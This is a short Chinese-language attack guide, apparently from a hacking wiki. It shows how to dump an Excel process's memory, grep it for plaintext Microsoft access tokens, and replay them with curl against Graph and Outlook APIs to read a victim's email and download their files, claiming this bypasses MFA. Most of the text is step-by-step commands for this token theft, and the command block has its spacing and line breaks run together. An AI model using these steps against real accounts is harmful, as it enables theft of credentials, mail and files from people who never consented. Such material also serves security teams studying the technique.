如 此视频 中所述,一些与云同步的 Microsoft 软件(Excel、Teams...)可能会以明文形式在内存中存储访问令牌。因此,仅仅转储该进程的内存并grep JWT 令牌可能会让你绕过 MFA 获得对受害者在云中多个资源的访问。
步骤:
使用你喜欢的工具转储与 EntraID 用户同步的 Excel 进程。
运行:string excel.dmp | grep 'eyJ0' 并在输出中找到多个令牌
找到你最感兴趣的令牌并对其运行工具:
# Check the identity of the tokencurl-s-H"Authorization: Bearer <token>"https://graph.microsoft.com/v1.0/me|jq# Check the email (you need a token authorized in login.microsoftonline.com)curl-s-H"Authorization: Bearer <token>"https://outlook.office.com/api/v2.0/me/messages|jq# Download a file from Teams## You need a token that can access graph.microsoft.com## Then, find the <site_id> inside the memory and callcurl-s-H"Authorization: Bearer <token>"https://graph.microsoft.com/v1.0/sites/<site_id>/drives|jq## Then, list one drivecurl-s-H"Authorization: Bearer <token>"'https://graph.microsoft.com/v1.0/sites/<site_id>/drives/<drive_id>'|jq## Finally, download a file from that drive:┌──(magichk㉿black-pearl)-[~]└─$curl-o<filename_output>-L-H"Authorization: Bearer <token>"'<@microsoft.graph.downloadUrl>'